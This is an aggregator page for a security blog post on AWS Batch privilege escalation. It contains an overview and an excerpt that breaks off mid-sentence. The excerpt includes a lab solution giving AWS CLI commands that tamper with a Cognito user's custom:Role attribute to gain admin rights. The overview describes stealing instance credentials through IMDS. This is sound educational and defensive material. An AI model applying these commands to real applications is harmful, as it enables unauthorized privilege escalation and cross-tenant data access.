# Messing Around With AWS Batch For Privilege Escalations

DevFeed: [Messing Around With AWS Batch For Privilege Escalations](<https://devfeed.tech/articles/messing-around-with-aws-batch-for-privilege-escalations-92035.md>)

Original publisher: [Read original article](<https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations.html>)

Published: 2023-06-12T22:00:00Z

Content type: article

Language: en

Sources: [Doyensec](<https://devfeed.tech/sources/doyensec.md>)

Topics: [Amazon Web Services](<https://devfeed.tech/topics/aws.md>), [AWS IAM](<https://devfeed.tech/topics/aws-iam.md>), [Amazon Cognito](<https://devfeed.tech/topics/amazon-cognito.md>)

Tags: [auditing](<https://devfeed.tech/tags/auditing.md>), [automation](<https://devfeed.tech/tags/automation.md>), [aws](<https://devfeed.tech/tags/aws.md>), [aws-batch](<https://devfeed.tech/tags/aws-batch.md>), [doyensec](<https://devfeed.tech/tags/doyensec.md>), [doyensecurity](<https://devfeed.tech/tags/doyensecurity.md>), [exploit](<https://devfeed.tech/tags/exploit.md>), [hacking](<https://devfeed.tech/tags/hacking.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [offensive](<https://devfeed.tech/tags/offensive.md>), [pentest](<https://devfeed.tech/tags/pentest.md>), [pentester](<https://devfeed.tech/tags/pentester.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [security](<https://devfeed.tech/tags/security.md>), [vulnerability](<https://devfeed.tech/tags/vulnerability.md>)

## AI overview

AWS Batch jobs in EC2 compute environments can reach the host instance's Instance Metadata Service (IMDS) because they share the host network. In the reported multi-tenant platform, compromised jobs obtained task credentials through the Container Metadata Service (CMDS), then used `batch:RegisterJobDefinition` and `batch:SubmitJob` to run jobs without the worker's IMDS restrictions. Those jobs retrieved the EC2 Spot instance role credentials, enabling access to other tenants' data. The article recommends restricting IMDS access from jobs and limiting job-related IAM permissions, especially registration and submission rights; if those controls do not fit the design, consider another orchestration type. It distinguishes Fargate, suited to jobs that do not need host control, from EC2, which supports host customization, and notes similar exposure can affect ECS tasks using EC2 launch type.

## Source excerpt

From The Previous Episode... Have you solved the CloudSecTidbit Ep. 2 IaC lab? Solution The challenge for the AWS Cognito CloudSecTidbit is basically escalating the privileges to admin and reading the internal users list. The application uses AWS Cognito to issue a session token saved as a cookie with the name aws-cognito-app-access-token. The JWT is a valid AWS Cognito user token, usable to interact with the service. It is possible to retrieve the current user attributes with the command: aws cognito-idp get-user --region us-east-1 --access-token <USER_ACCESS_TOKEN> { "Username": "francesco", "UserAttributes": [ { "Name": "sub", "Value": "5139e6e7-7a37-4e6e-9304-8c32973e4ac0" }, { "Name": "email_verified", "Value": "true" }, { "Name": "name", "Value": "francesco" }, { "Name": "custom:Role", "Value": "user" }, { "Name": "email", "Value": "dummy@doyensec.com" } ] } Then, because of the default READ/WRITE permissions on the user attributes, the attacker is able to tamper with the custom:Role attribute and set it to admin: aws --region us-east-1 cognito-idp update-user-attributes --user-attributes "Name=custom:Role,Value=admin" --access-token <USER_ACCESS_TOKEN> After that, by refreshing the authenticated tab, the user is now recognized as an admin. That happens because the vulnerable platform trusts the custom:Role attribute to evaluate the authorization level of the user. Tidbit No. 3 - Messing around with AWS Batch For Privilege Escalations Q: What is AWS Batch? A set of batch management capabilities that enable developers, scientists, and engineers to easily and efficiently run hundreds of thousands of batch computing jobs on AWS. AWS Batch dynamically provisions the optimal quantity and type of compute resources (e.g. CPU or memory optimized compute resources) based on the volume and specific resource requirements of the batch jobs submitted. With AWS Batch, there is no need to install and manage batch computing software or server clusters, allowing you to instead f